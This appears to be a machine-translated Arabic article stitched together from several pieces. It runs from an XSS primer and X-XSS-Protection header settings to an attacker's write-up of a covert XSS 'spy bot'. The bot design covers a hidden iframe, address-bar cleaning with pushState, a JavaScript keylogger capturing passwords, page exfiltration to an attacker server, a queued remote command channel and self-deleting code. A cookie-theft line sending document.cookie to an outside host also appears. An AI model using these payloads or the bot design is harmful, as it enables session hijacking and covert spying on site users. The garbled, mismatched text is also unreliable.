تعد البرمجة النصية عبر المواقع (XSS للاختصار) ثغرة أمنية واسعة النطاق تؤثر على العديد من تطبيقات الويب. فهو يسمح للمهاجم بإدخال تعليمات برمجية ضارة في موقع ويب بطريقة تجعل متصفح المستخدم الذي يزور الموقع ينفذ التعليمات البرمجية.

عادةً، يتطلب استغلال مثل هذه الثغرة الأمنية بعض التفاعل مع المستخدم: إما أن يتم استدراجهم إلى موقع مصاب باستخدام الهندسة الاجتماعية، أو أنهم ينتظرون ببساطة زيارة المستخدم للموقع. لذلك، لا يأخذ المطورون غالبًا ثغرات XSS على محمل الجد.

ولكن إذا تركت دون معالجة، فإنها يمكن أن تشكل خطرا أمنيا خطيرا.

لنتخيل أننا في لوحة إدارة WordPress، أضف محتوى جديد. إذا استخدمنا مكونًا إضافيًا يحتوي على ثغرات XSS لهذا الغرض، فقد يؤدي ذلك إلى إجبار المتصفح على إنشاء مسؤول جديد وتعديل المحتوى وتنفيذ إجراءات ضارة أخرى. توفر البرمجة النصية عبر المواقع للمهاجم إمكانية الوصول افتراضيًا السيطرة الكاملةعلى الأهم برمجةفي هذه الأيام - متصفح.

XSS: ثغرة أمنية في الحقن

يحتوي أي موقع ويب أو تطبيق على عدة أماكن لإدخال البيانات - حقول النموذج حتى عنوان URL نفسه. أبسط مثالإدخال البيانات - عندما ندخل اسم المستخدم وكلمة المرور في النموذج:

سيتم تخزين اسمنا في قاعدة بيانات الموقع من أجل التفاعلات اللاحقة معنا. بالتأكيد، عندما قمت بتسجيل الدخول إلى أي موقع على شبكة الإنترنت، رأيت تحية شخصية بأسلوب "مرحبًا إيليا".

ولهذه الأغراض يتم تخزين أسماء المستخدمين في قاعدة البيانات.

الحقن هو إجراء يتم فيه إدخال تسلسل خاص من الأحرف بدلاً من اسم المستخدم أو كلمة المرور، مما يجبر الخادم أو المتصفح على الاستجابة بطريقة معينة يرغب فيها المهاجم.

البرمجة النصية عبر المواقع عبارة عن حقنة تُدخل تعليمات برمجية تؤدي إجراءات في المتصفح نيابة عن موقع الويب. يمكن أن يحدث هذا إما بإشعار المستخدم أو خلفية، دون علمه.

هجمات XSS التقليدية: منعكسة (غير مستمرة).

يتم تشغيل هجوم XSS المنعكس عندما ينقر المستخدم على رابط معد خصيصًا.

تحدث هذه الثغرات الأمنية عندما تكون البيانات المقدمة من عميل الويب، غالبًا في معلمات طلب HTTP أو نموذج HTML، يتم تنفيذها مباشرة بواسطة البرامج النصية من جانب الخادم لتحليل وعرض صفحة النتائج لهذا العميل، دون معالجة مناسبة.

مخزنة (مستمرة).

يكون XSS المخزن ممكنًا عندما يتمكن المهاجم من إدخال تعليمات برمجية ضارة في الخادم الذي يتم تنفيذه في المتصفح في كل مرة يتم فيها الوصول إلى الصفحة الأصلية. ومن الأمثلة الكلاسيكية على هذه الثغرة الأمنية المنتديات التي تسمح بتعليقات HTML.

الثغرات الأمنية الناجمة عن التعليمات البرمجية من جانب العميل (JavaScript وVisual Basic وFlash وما إلى ذلك): تُعرف أيضًا باسم DOMs: المنعكسة (غير المستمرة).

كما هو الحال في حالة الخادم، فقط في هذه الحالة يكون الهجوم ممكنًا نظرًا لحقيقة أن الكود تتم معالجته بواسطة المتصفح.

مخزنة (مستمرة).

على غرار XSS المخزن من جانب الخادم، في هذه الحالة فقط يتم تخزين المكون الضار على جانب العميل باستخدام مساحة تخزين المتصفح.

أمثلة على ثغرات XSS.

ومن المثير للاهتمام أنه في معظم الحالات التي يتم فيها وصف هذه الثغرة الأمنية، فإننا نخاف من خلال الكود التالي:

http://www.site.com/page.php?var=alert("xss");

هناك نوعان من ثغرات XSS – السلبية والإيجابية.

الضعف النشطوهو أمر أكثر خطورة، لأن المهاجم لا يحتاج إلى إغراء الضحية باستخدام رابط خاص، بل يحتاج فقط إلى إدخال الكود في قاعدة البيانات أو في ملف ما على الخادم. وبالتالي، يصبح جميع زوار الموقع ضحايا تلقائيًا. ويمكن دمجها، على سبيل المثال، باستخدام حقن SQL. لذلك، يجب ألا تثق في البيانات المخزنة في قاعدة البيانات، حتى لو تمت معالجتها أثناء الإدراج.

مثال الضعف السلبييمكنك رؤيته في بداية المقال. وهذا يتطلب بالفعل هندسة اجتماعية، على سبيل المثال خطاب مهم من إدارة الموقع يطلب منك التحقق من إعدادات حسابك بعد الاستعادة من نسخة احتياطية. وفقًا لذلك، تحتاج إلى معرفة عنوان الضحية أو ببساطة ترتيب إرسال بريد عشوائي أو النشر في بعض المنتديات، وليس حقيقة أن الضحايا سيكونون ساذجين ويتبعون الرابط الخاص بك.

علاوة على ذلك، يمكن أن تكون معلمات POST وGET عرضة للثغرة السلبية. مع معلمات POST، بالطبع، سيتعين عليك اللجوء إلى الحيل. على سبيل المثال، إعادة توجيه من موقع ويب للمهاجم.

document.getElementsByTagName("form").submit();

لذلك، تعد ثغرة GET أكثر خطورة قليلاً، لأن... فمن الأسهل على الضحية ملاحظة المجال غير الصحيح بدلاً من ملاحظة المجال غير الصحيح معلمة إضافية(على الرغم من إمكانية تشفير عنوان url بشكل عام).

سرقة ملفات تعريف الارتباط

هذا هو المثال الأكثر شيوعًا لهجوم XSS. تقوم مواقع الويب أحيانًا بتخزين بعض المعلومات القيمة في ملفات تعريف الارتباط (أحيانًا حتى معلومات تسجيل الدخول وكلمة المرور الخاصة بالمستخدم (أو هاشها))، ولكن أخطر شيء هو سرقة جلسة نشطة، لذلك لا تنس النقر على رابط "الخروج" على مواقع الويب، حتى لو كان هذا الكمبيوتر المنزلي. لحسن الحظ، في معظم الموارد يكون عمر الجلسة محدودًا.

var img = new Image(); img.srс = "http://site/xss.php؟" + document.cookie;

ولهذا السبب قاموا بإدخال قيود المجال على XMLHttpRequest، ولكن هذه ليست مشكلة بالنسبة للمهاجم، حيث أن هناك، , , الخلفية:url(); إلخ.

سرقة البيانات من النماذج

نحن نبحث عن النموذج من خلال getElementById، على سبيل المثال، ونراقب حدث onsubmit. الآن، قبل إرسال النموذج، يتم أيضًا إرسال البيانات المدخلة إلى خادم المهاجم.

هذا النوع من الهجمات يذكرنا إلى حد ما بالتصيد الاحتيالي، ولكنه يستخدم موقعًا حقيقيًا بدلاً من موقع مزيف، مما يغرس المزيد من الثقة في الضحية.

هجوم DDoS (هجوم حجب الخدمة الموزعة)

يمكن استخدام ثغرة XSS الموجودة على الموارد التي تمت زيارتها بكثافة لشن هجوم DDoS. الجوهر بسيط - هناك العديد من الطلبات التي لا يستطيع الخادم المهاجم تحملها.
في الواقع، العلاقة مع XSS غير مباشرة، نظرًا لأنه قد لا يتم استخدام البرامج النصية على الإطلاق، فإن إنشاء مثل هذا يكفي:

ما هي مخاطر XSS؟

كيف يمكنك حماية موقعك من XSS؟ كيفية التحقق من الكود الخاص بك بحثًا عن نقاط الضعف؟ هناك تقنيات مثل Sucuri Firewall المصممة خصيصًا لتجنب مثل هذه الهجمات. ولكن إذا كنت مطورًا، فستحتاج بالتأكيد إلى معرفة المزيد حول كيفية تحديد ثغرات XSS والتخفيف منها.

سنتحدث عن هذا في الجزء التالي من المقالة حول XSS.

يعد استخدام رؤوس الأمان جزءًا مهمًا لحماية الموقع وزواره من هجمات القراصنة. في المقالة الأخيرة حول قسم الحماية والأمن، وعدت بنشر منشورات حول هذا الموضوع بانتظام. سأتحدث اليوم عن الحماية ضد هجمات XSS.

ما هو هجوم XSS

تعد Cross Site Scripting ثغرة أمنية تسمح للمهاجم بإدخال تعليمات برمجية ضارة (عادةً HTML أو JavaScript) في محتوى موقع الويب. يتم تنفيذ تعليمات برمجية ضارة في متصفح المستخدم الذي يشاهد صفحة موقع الويب المصابة.

يمكن للمهاجمين استغلال نقاط الضعف المختلفة. أكثر أنواع الهجمات شيوعًا هي:

• XSS المنعكس هو الأكثر شيوعًا نوع دائمهجوم يتطلب من المستخدم القيام بإجراء معين.
• يعد XSS المستمر نوعًا دائمًا من الهجمات التي تقوم بإدخال تعليمات برمجية ضارة إلى الخادم ولا تتطلب تدخل المستخدم.

هجوم XSS المنعكس

يتم تشغيله عندما يتبع المستخدم رابطًا مُعدًا خصيصًا يرسل طلبًا إلى موقع به ثغرة أمنية. عادة ما تكون مشكلة عدم الحصانة هذه نتيجة لعدم كفاية تصفية الطلبات الواردة، مما يسمح بالتلاعب بالوظائف وتنشيط البرامج النصية الضارة.

يقوم المهاجم بإدراج برنامج نصي ضار في الارتباط التشعبي، والذي يسمح بعرض ملفات تعريف الارتباط لجلسة المستخدم، ويرسله إلى الضحية عبر بريد إلكترونيأو وسائل الاتصال الأخرى.

عند النقر على الرابط، يتم القبض على المستخدم.

يتم تشغيل البرنامج النصي في متصفح المستخدم.

يرسل المتصفح ملفات تعريف الارتباط إلى المهاجم، مما يوفر الوصول إلى البيانات الشخصية للمستخدم.

هجوم XSS المخزن

لتنفيذ هجوم مخزن بنجاح، يحتاج المهاجم فقط إلى العثور على ثغرة أمنية في الموقع ووضع برنامج نصي ضار على خادمه. ثم يقوم الموقع بوضع علامة تقوم بتحميل البرنامج النصي من موقع خارجي، على سبيل المثال، في التعليقات. عند تحميل صفحة مصابة، يتم إرسال برنامج نصي ضار إلى متصفح المستخدم في كل مرة.

يكتشف أحد المهاجمين موقعًا به ثغرة أمنية في XSS ويقوم بإدخال برنامج نصي ضار يسرق ملفات تعريف الارتباط الخاصة بالمستخدم.

في كل مرة تقوم فيها بزيارة أحد المواقع، يتم تنشيط البرنامج النصي الضار دون القيام بأي إجراءات.

يتم إرسال ملفات تعريف الارتباط الخاصة بالجلسة من متصفح الزائر إلى المهاجم.

تمكين رأس حماية X-XSS

يهدف رأس X-XSS-Protection إلى تمكين مرشح البرمجة النصية عبر المواقع المدمج في الكل المتصفحات الحديثة. سيسمح، على سبيل المثال، بمنع تنفيذ علامة في عنوان URL للصفحة.

يعمل توجيه التقرير لإرسال التقارير بشكل مشابه لتوجيه سياسة أمان المحتوى (CSP) لتقرير URI (أو تقرير إلى)، حيث يوجه متصفح المستخدم للإبلاغ عن محاولات انتهاك سياسة أمان المحتوى. سأتحدث عن هذا في مقال منفصل.

يتم إنشاء تقرير الانتهاك بتنسيق JSON ويتم إرساله عبر طلبات POST إلى عنوان URL المحدد.

بالعودة إلى الموضوع الرئيسي، أوصي بإعداد الخادم بحيث يتضمن رأس HTTP التصفية، وفي حالة حدوث هجوم XSS، يمنع تحميل الصفحة ذات المحتوى غير الآمن. في ملف التكوين الإضافي file.htaccess (أو httpd.conf إذا كان لديك حق الوصول الكامل إلى الخادم) لخادم الويب Apache، تحتاج إلى إضافة الإدخال التالي:

مجموعة الرأس X-XSS-Protection "1؛ mode=block"

بالنسبة لخادم Nginx، أضف الإدخال التالي إلى ملف nginx.conf في قسم HTTP:

Add_header X-XSS-Protection "1; mode=block" ;

في حالة عدم إمكانية الوصول إلى ملفات تكوين الخادم، ولكن هناك دعم PHP، استخدم الوظيفة:

البرمجة عبر المواقع، والمعروفة أيضًا باسم XSS، هي طريقة لإدخال تعليمات برمجية ضارة يتم تنفيذها من جانب العميل. قد يلاحظ المستخدم شيئًا خاطئًا، على سبيل المثال، سلوك غير عادي للصفحة، وأحيانًا يحدث الهجوم بشكل غير ملحوظ تمامًا في الخلفية.

نأمل أن تكون قد فهمت الآن المزيد عن رؤوس خادم HTTP ويمكن أن يساعد X-XSS في منع البرمجة النصية عبر المواقع. أستخدم رؤوس الأمان في جميع مواقعي وأشجعك بشدة على القيام بالمثل. معًا يمكننا أن نجعل الإنترنت أكثر أمانًا! 😉

لقد عرف الجميع منذ فترة طويلة أنه في أغلب الأحيان، باستخدام XSS، يحاول المهاجم إرسال ملف تعريف الارتباط إلى الضحية، وقراءة رموز CSRF، وتنفيذ هجوم تصيد (عن طريق إنشاء نموذج تسجيل دخول مزيف)، وتنفيذ بعض الإجراءات نيابة عن المستخدم، و بعض الهجمات الأخرى المشابهة (ربما لا تكون هذه هي كل الاحتمالات، لكن هذه كلها الهجمات الأكثر شيوعًا التي أعرفها في الوقت الحالي).

الغرض من هذه الطريقة هو مراقبة الصفحات التي يتنقل فيها على الموقع المهاجم نيابة عن المستخدم، بالإضافة إلى مراقبة ضغطات المفاتيح التي يقوم بها (يمكنك أيضًا استخدام حركات الماوس والنقرات، لكن هذا لن يكون ضروريًا بالنسبة لي، ولن يكون مفيدًا بشكل خاص المعلومات، في معظم الحالات بالتأكيد).
الآن فيما يتعلق بالفائدة القصوى - أعتقد أن الخوارزمية ستكون على النحو التالي:

• قراءة وإرسال ملفات تعريف الارتباط؛
• قراءة وإرسال بقية المعلومات (عنوان IP، الإضافات المثبتةوإصدار المتصفح ونوعه ودعم الفلاش ودعم Silverlight وما إلى ذلك) [اختياري]
• نحصل على معلومات حول الشبكة الداخليةنقوم باختراق جهاز التوجيه [اختياري]
• قراءة وإرسال الرموز المختلفة [اختياري]؛
• تنفيذ التصيد [اختياري]؛
• نحن نفعل شيئًا "بأيدي المستخدم" [اختياري]؛
• ونستمر في التجسس عليه والحصول على المعلومات حتى يغلق علامة التبويب أو يغادر الموقع؛

يجب تنفيذ جميع عناصر القائمة الاختيارية IMHO اعتمادًا على الموقف والأولويات المحددة للأهداف التي يجب تحقيقها باستخدام XSS، ويمكن أن تتداخل أحيانًا مع بعضها البعض (إذا حاولت الجمع بينها، أو بالأحرى تنفيذها واحدًا تلو الآخر) و زيادة احتمالية فشل عملية XSS.
ولكن يجب دائمًا الوفاء بالنقاط الأولى والأخيرة، على أية حال، الجزء الرئيسي من المقالة سيكون حول النقطة الأخيرة من هذه القائمة.

نحن نقترب من الهدف.

سأبدأ من بعيد: من خلال JavaScript من الممكن تغيير المسار شريط العناويندون إعادة تحميل الصفحة. على سبيل المثال، إذا قام مستخدم بتحميل صفحة على

بعد ذلك سيصبح المحتوى الموجود في شريط العناوين كما يلي (دون إعادة تحميل الصفحة):

http://site.com/new-url/

بالمناسبة، تكون هذه الميزة مفيدة جدًا في بعض الأحيان عندما يكون من الضروري الاختباء من المستخدمين (أو فئة أكثر انتباهاً من المستخدمين - المسؤولين) عن طريق تنظيف عنوان URL بسرعة بعد النقر على رابط يحتوي على XSS المنعكس، بحيث يتم ذلك لاحقًا، بعد تحميل الصفحة، بحثت في شريط العناوين، لم أجد أي شيء.

http://site.com/search.php?q=123 مستند . جسم. الداخليHTML += "اختراق" ;

http://site.com/search.php?q=123 النافذة. تاريخ. PushState ("" , "" , "/" ) ; وثيقة. جسم. الداخليHTML += "اختراق" ;

وسوف نحرمه من هذه الفرصة.

ولكن هذه التقنية لديها تطبيقات أكثر إثارة للاهتمام وقوية. سنقوم بمحاكاة إقامة المستخدم في الموقع بعد الضغط على الرابط، في الحقيقة سيبقى على صفحة واحدة طوال الوقت، وفي هذا الوقت سيعمل سكريبت طرف ثالث، يستخرج المعلومات ويرسلها إلى المهاجم. هكذا، سيعمل XSS طالما أن المستخدم ينقر على رابط في هذا المجال .

نحن نحدد الفكرة.

المبدأ العام للتشغيل هو كما يلي: عندما يدخل مستخدم إلى صفحة باستخدام XSS، يقوم البرنامج النصي بإنشاء إطار iframe بنفس عنوان الصفحة و"إرفاقه" بالمقدمة، ويحصل المستخدم على انطباع بأن الصفحة تم تحميلها بشكل طبيعي، لأن لا يمكن رؤية إطار iframe إلا في صفحات التعليمات البرمجية.

ويتحكم البرنامج النصي المساعد في منطق روبوت التجسس، أي أنه يراقب عندما يتغير العنوان الموجود في الإطار من أجل تغييره في شريط العناوين، ولكن إذا كان عنوان الإطار الذي تم تغييره حديثًا له مجال مختلف، فيمكنك فتحه في علامة تبويب جديدة، أو سيتعين عليك إعادة تحميل الصفحة حتى لا تحترق.
وبالتالي، لكي يتوقف تنفيذ XSS في الوقت الحالي، يجب على المستخدم إما تحديث الصفحة يدويًا (إذا كان XSS منعكسًا وتم إرساله باستخدام طريقة POST، وفي حالات أخرى لن يتم حفظ التحديث، وبالمناسبة، بعض يمكن للمتصفحات الآن الإرسال مرة أخرى عند تحديث الصفحة طلب ما بعدمرة أخرى) أو أغلق علامة التبويب أو قم بالتبديل إلى مجال آخر (رغم أنه في هذه الحالة لا يزال بإمكانك تجنب فقدان السيطرة).

إذا انتقل إلى مجال فرعي من المجال الذي تمت مهاجمته، فهذا هو اختيار المهاجم، أي أن XSS سيعمل، ولكن هناك احتمال ضئيل أن يكتشف المستخدم تناقضًا بين العنوان. أعتقد أنه اعتمادًا على الموقف، على سبيل المثال، إذا تعرض مجال google.ru للهجوم، تحول المستخدم إلى خدمة الملفات السحابية من Google، والتي تقع عادةً في النطاق الفرعي drive.google.ru، ثم احتمال أن يلاحظ المصيد عند النظر إلى شريط العناوين مرتفع جدًا، إذا كان يستخدم هذه الخدمة كثيرًا. بخلاف ذلك، قد تخاطر أيضًا. لكن يجب أن نأخذ في الاعتبار أننا لن نتمكن بعد الآن من قراءة بياناته من إطار ذي نطاق فرعي، لأن سياسة Cross Origin لن تسمح بذلك. ولكن يمكننا بسهولة تسلق المجال الرئيسي نيابة عنه الوضع المخفي(سيكون هناك المزيد حول هذا أدناه).

فقط عند هذه الطريقةهناك قيود، وهي أنها لن تعمل إذا كانت استجابات خادم الويب الخاصة بالموقع تحتوي على رأس X-Frame-Options بالقيمة DENY . لكن شخصيًا، لقد صادفت مثل هذه المواقع عدة مرات؛ حتى الآن نصفها ليس لديه مجموعة SAMEORIGIN، ناهيك عن التقييد الكامل ينكر.

دعونا نحلل الفكرة.

الآن ربما يتذكر الكثيرون شيئًا رائعًا مثل BeEF، والذي يحتوي أيضًا على الكثير من الأشياء المثيرة للاهتمام. بالمناسبة، هناك أيضًا خيار لإجبار المستخدم على إعادة التوجيه في الإطار، لكن العنوان الموجود في شريط العناوين لا يتغير، مما قد يؤدي إلى حرق المكتب بسرعة ويخدم هذا الخيار أغراضًا مختلفة قليلاً.
بشكل عام، لدى BeEF كل ما تحتاجه تقريبًا وحتى الكثير وظائف إضافيةولكني شخصيًا أردت وظائف إضافية وهي:

• القدرة على مراقبة أكواد الصفحات التي يمكن للمستخدم المهاجم الوصول إليها في الوقت الفعلي؛
• القدرة على رؤية كل ما يكتبه على هذا الموقع (بدءًا من تسجيل الدخول وكلمة المرور وحتى مفاتيح التشغيل السريع والرسائل)، أي برنامج Keylogger في JS؛
• القدرة على إعطاء أوامر JS إلى الروبوت الخاص بك في الوقت الفعلي، بعد عرض رمز الصفحات المستلمة؛
• والقدرة على ترك الأوامر للروبوت محليًا، حتى يتمكن لاحقًا من "التقاطها" وتنفيذها دون مشاركتنا المباشرة؛
• احتمالية أقل لحرق الروبوت، أو قدرة الروبوت على "الاختباء" من أعين المتطفلين؛

كما ذكرنا أعلاه، قررت استعارة الفكرة الرائعة المتمثلة في قائمة انتظار تنفيذ الأوامر من BeEF. على سبيل المثال، قمنا بتحليل الصفحات التي أسقطها الروبوت عندما كان المستخدم المميز يصل إلى لوحة التحكم الخاصة به باستخدام XSS المخزن، ونترك الأوامر للبوت - رمز JS، مثل المرة التالية التي يقوم فيها المستخدم بتسجيل الدخول، انقر فوق هذا الزر، واكتب هذه القيمة هنا، وما إلى ذلك، في المرة التالية التي يزور فيها هذا المستخدم الصفحة، يقرأ الروبوت الأوامر وينفذها، ولا يتعين علينا أن نكون على رأس كل شيء - فهو مريح للغاية.

في الأساس، تم تصميم هذا الروبوت بالطبع للمستخدمين ذوي المكانة العالية لبعض المواقع التي لديها "أدوات ضغط" إضافية لإدارة المحتوى والمستخدمين الآخرين وما إلى ذلك. يتضح من طلبات الوظائف أنه لا يمكننا الاستغناء عن جزء الخادم.

فلننفذ الفكرة

من حيث المبدأ، يمكنك تخطي هذا الجزء من المقالة، لأنه يصف ببساطة عملية تنفيذ الروبوت المطلوب وبعض تفاصيله، في حالة رغبة شخص ما في إعادة صنعه أو تخصيصه لنفسه. على الرغم من أن الروبوت سيكون لديه متغيرات في بداية الكود يمكنك من خلالها ضبط بعض الإعدادات.
أولاً، خوارزمية تصرفات الروبوت منذ لحظة التحميل:

1) التحقق من وجود الرأس خيارات الإطار X: رفض(إذا كان هناك، فإننا نشمر قضبان الصيد)؛
2) تضمين إطار وإعداد جميع مكونات الروبوت؛
3) إزالة البرنامج النصي وجميع الآثار في كود HTML؛
4) إنشاء اتصال مع جزء الخادم والبدء في إرسال البيانات والرد على الاستجابات (تلقي الأوامر من الخادم)؛

لم يتم تنفيذ النقطة الأولى بشكل كامل، أي أن الروبوت يتحقق فقط من الصفحة الأولى ورأس الجذر. والحقيقة هي أنه عادةً ما يتم إنشاء هذه الرؤوس بواسطة خادم الويب لجميع الصفحات مرة واحدة ونادرًا ما يتم ذلك صفحة منفصلةكل شيء يتم "باليد". وهذا العنوان بحد ذاته نادر جدًا. حسنًا، ليس هناك الكثير مما يمكن قوله عن الثاني والثالث، كل شيء سيكون أدناه.

هناك نسبيا نقطة مهمةأنه قبل إضافة كود البرنامج النصي للبوت في الكود الخاص بك، تحتاج إلى التخلص فورًا من علامات XSS في شريط العناوين (من كود JS)، لأن هذا يقلل من فرص الاكتشاف، والأهم من ذلك، يمنع التكرار الذي يحدث عند إضافة عنوان باستخدام نفس XSS إلى رمز الإطار، والذي بدوره يقوم بإنشاء إطار آخر بنفسه، وهكذا.

ولكن فقط في حالة تنفيذ كود الروبوت القدرة على اكتشاف تكرار الإطار ومنعه في المحاولة الأولى لإضافة إطار إلى إطار تم إنشاؤه بالفعل، ولكن من الأفضل عدم الاعتماد عليه فقط، ولكن بالإضافة إلى ذلك، قم بإزالة الكود قبل تحميل كود البوت. على الرغم من أنني لم أواجه أي مشاكل حتى الآن.

وظيفة التحقق من تحديث الإطار. لقد جربت عدة طرق لحل هذه المشكلة اقتصاديًا عن طريق تعليق معالجات الأحداث contentWindowأو contentDocument، لكن لم ينجح شيء، لذلك اضطررت إلى كتابة دالة من شأنها التحقق من عنوان الإطار ومقارنته بالعنوان المحفوظ مسبقًا، وبناءً على ذلك، تحديد ما إذا كان الإطار قيد التحديث (ما إذا كان العنوان قد تغير) ثم تسمي نفسها بشكل متكرر.

يتم التحكم في تكرار هذه الفحوصات في الثانية بواسطة المتغير تأخير، والمدرج في بداية ملف كود الروبوت. ولكن في وقت لاحق، بعد أن كتبته بالفعل، وجدت حلاً أكثر فعالية - استخدم حلاً بسيطًا وشنق تحميلإلى الإطار، لذلك تركت هذه الوظيفة، لكنني علقت عليها، في حالة ما إذا تبين لاحقًا أن الطلب عليها أكبر.

إرسال كود HTML للصفحة.

المخطط هنا بسيط للغاية - بعد كل إعادة تحميل للإطار (بما في ذلك التحميل الأول)، يرسل الروبوت إلى الخادم رمز HTML بالكامل للصفحة بالإضافة إلى عنوانها الحالي، بحيث يمكن لاحقًا تمييز ما إذا كان الرمز ينتمي إلى الصفحات المطلوبة.

ينفذ الخادم منطق تخزين الصفحات - يقوم الخادم بإنشاء مجلد لكل مجال باسم هذا المجال ويحفظ جميع البيانات هناك. يتم حفظ رموز الصفحات وتحديثها باستمرار الإصدارات الحاليةولكن في نفس الوقت، كل يوم جديد يتم إنشاء نسخة جديدة من الصفحة حتى تتمكن من التحكم في سجل الإصدارات إذا لزم الأمر. هذا ل /news.phpفي 1 سبتمبر، سيتم تحديث الحالة، وفي 2 سبتمبر، سيتم إنشاء نسخة منها، ذات صلة بذلك اليوم فقط، وهكذا كل يوم مرة أخرى (إذا قام المستخدم بزيارة هذه الصفحة كل يوم). يتكون اسم الصفحة من التاريخ والمسار لهذه الصفحة بالنسبة إلى جذر الموقع (أي بدون المجال).

كلوغر في جافا سكريبت.

لقد تم بالفعل تنفيذ الفكرة من قبل بعض المتحمسين، لكن عملهم لم يكن مناسبًا لي، ولو لأن معظمهم كان بسيطًا جدًا، أي أنهم اكتشفوا رمز المفتاح المضغوط ومن خلاله String.fromCharCodeترجمتها إلى رموز. لكن هذه الطريقة لها عدد من العيوب - مفاتيح التحكم مثل Shift، Control، Space، وما إلى ذلك، لا يتم ترجمتها إلى أي شكل (في كثير من الأحيان ببساطة إلى حرف فارغ)، يتم تسجيل تفاعل المفاتيح الأبجدية الرقمية مع Shift بشكل غير صحيح، لأن هذا يجب تنفيذها برمجياً، كما يتم عرض جميع المفاتيح المضغوطة بأحرف كبيرة، والتي يمكن تصحيحها برمجياً أيضاً.

وكانت النتيجة برنامج Keylogger الذي اكتشف بشكل صحيح جميع مفاتيح الأرقام والحروف والأحرف الأساسية، والعمل على كلا التخطيطين، والاستجابة للإزاحة وتسجيل جميع المفاتيح الخاصة الرئيسية. صحيح أن بعض الأحرف (أعلى صف الأرقام، والتي يتم طباعتها عند الضغط على المفتاح والرقم) قد تختلف على بعض الأجهزة، حيث تم تنفيذها وفق المعيار الأساسي الذي تغيره بعض الشركات للبعض.
يحتفظ العميل بكل جزء من الأحرف التي يتم الضغط عليها حتى يفقد عنصر النص التركيز. بعد ذلك، يتم إرسال هذا الجزء إلى الخادم، حيث يتم تخزينه فيه ملف نصي، والتي سيتم إنشاؤها أيضًا كل يوم بنسخة جديدة، بحيث لا تنمو إلى أحجام كبيرة ويمكنك العثور بسرعة على ما كان يكتبه المستخدم في مثل هذا الوقت.
بالإضافة إلى المفاتيح نفسها، يتم إرسال معلومات حول العنصر الذي تم كتابة النص فيه إلى الخادم مع كل جزء (أي ما إذا كان , [ أو بعض عندما يستخدم المستخدم مفاتيح التشغيل السريع)، بالإضافة إلى اسم العنصر، يتم إرسال بياناته الأساسية (المعرف والاسم والفئة - إذا كانت موجودة) بحيث يمكن العثور عليها بسهولة في الكود. وطبعا يتم تسجيل عنوان الصفحة التي تم فيها التوظيف والوقت التقريبي لهذا التوظيف. بشكل عام، يتم إرسال معلومات كافية حول نقر المستخدم على لوحة المفاتيح لتحليلها لاحقًا.

قيادة الروبوت الخاص بك.

يمكن تنفيذ هذه العملية بواسطة المهاجم أو على الجانب الذي سيعمل فيه الروبوت على جانب الخادم أو حتى عن بعد. بعد تشغيل البرنامج النصي للخادم، يبدأ تشغيل خادم ويب مصغر مكتوب ذاتيًا، والذي يخدم الطلبات من الروبوت ووحدة التحكم الخاصة به، والتي تعمل من خلال واجهة الويب. أي أنه بعد البدء، يصدر خادم الويب رابطًا، من خلال الانتقال إليه يمكنك البدء في إعطاء الأوامر للروبوت.

حول لوحة التحكم هذه أولاً، كان من الضروري تقييده بكلمة مرور (المسار وسيعرفه عدد قليل من الأشخاص). خدمة التشغيلعلى هذا المنفذ أو على العنوان الذي تحتاج إلى تسجيل الدخول فيه لاستخدام هذه الخدمة)، بحيث عند تسجيل الدخول لأول مرة، سيطلب الخادم كلمة المرور، والتي يتم توفيرها في شريط العناوين ( سيتم الإشارة إلى المثال)، يتم تخزين كلمة المرور الأصلية في كلمة المرور.txt، والتي يمكن تغييرها. بعد تسجيل الدخول الأول، سيطلب خادم الويب من المتصفح حفظ كلمة المرور في ملف تعريف الارتباط، لذلك لا داعي للقلق بشأن ذلك بعد الآن.

في الصفحة نفسها لإرسال الأوامر إلى الروبوت، توجد أيضًا معلومات حول حالة الروبوت - سواء كان متصلاً بالإنترنت أو غير متصل بالإنترنت في الوقت الحالي، واثنين من الإعدادات، أولها المضيف، أي IP عنوان أو مجال الموقع الذي سيتم إرسال الأوامر إليه إلى الروبوت. تم تصميم هذا في حالة وجود عدة مواقع تحتوي على هذا البوت، حتى يمكن التعرف عليها. على الخادم أيضًا، في هذه الحالة، يتم تقسيم جميع البيانات إلى مجلدات بأسماء النطاقات.
التالي هو نافذة يمكنك من خلالها كتابة أوامر إلى الروبوت في JS، وخيار يحدد مكان تنفيذ رمز JS هذا، في النافذة الرئيسية حيث يجلس الروبوت أو في الإطار - يتم ذلك من أجل الراحة، فقط في حالة .

إذا لم يكن الروبوت متصلاً بالإنترنت، فإن الخادم ببساطة يحفظ الأوامر، وبعد ذلك، عندما يتصل الروبوت بالإنترنت، أي أن المستخدم يزور الصفحة معه مرة أخرى أو يتبع رابط المهاجم، سيتم تنفيذ هذه الأوامر.
يعد هذا مناسبًا جدًا إذا قام الروبوت، أثناء الاستطلاع الأول، بحذف جميع الصفحات التي زارها المستخدم (على سبيل المثال حساب شخصي)، بعد دراسة الكود الذي قمنا بتجميع أوامره في JS، بحيث يقوم الروبوت بعد ذلك بالنقر فوق الروابط التي نحتاجها، وإدخال البيانات اللازمة، وعرض الصور الضرورية، وما إلى ذلك، مما سيساعد في تحقيق هدفنا.

أو يمكنك مباشرة في الوقت الفعلي عرض محتويات الصفحات بسرعة من خلال الكود وإعطاء الأوامر للروبوت حتى يرسل كود الصفحات الأخرى، وينتقل إلى عنوان آخر، وما إلى ذلك. وكل هذا سيتم "خلف الشاشة" " للمستخدم الذي سيتصفح الموقع بهدوء من خلال الإطار.

من أجل راحتك، يمكنك تشكيل التعليمات الأكثر استخدامًا في الوظائف الكاملة في JS، والتي يتم إدخالها بعد ذلك في الملف المصدر للروبوت ( xsb.js، المزيد عن بنية الملف أدناه) واستخدامه. أو استخدم تلك الوظائف المضمنة في الروبوت، على الرغم من وجود الأساسيات فقط ولا يوجد شيء جديد، ولكن على سبيل المثال، يمكنك استخدام وظيفة إرسال رمز الصفحة في أي وقت، وليس عند إعادة تحميل الإطار. يمكنك كتابة وظيفة تفتح الروابط التي تم تمريرها إليها في إطارات جديدة في الخلفية من أجل عرض محتويات عدة صفحات مرة واحدة نيابة عن المستخدم (والتعامل مع هذا المحتوى بيديه الافتراضيتين).

إزالة الرمز الخاص بك.

حسنًا الفرصة الأخيرةيتم تنفيذه بكل بساطة (يمكن تعطيله عن طريق تعيين المتغير المطلوب في الملف، ويتم التعليق عليه). يقوم البرنامج النصي، بعد إعداد جميع معالجات الأحداث وتعليقها، وإنشاء جميع المتغيرات والوظائف، بحذف نفسه

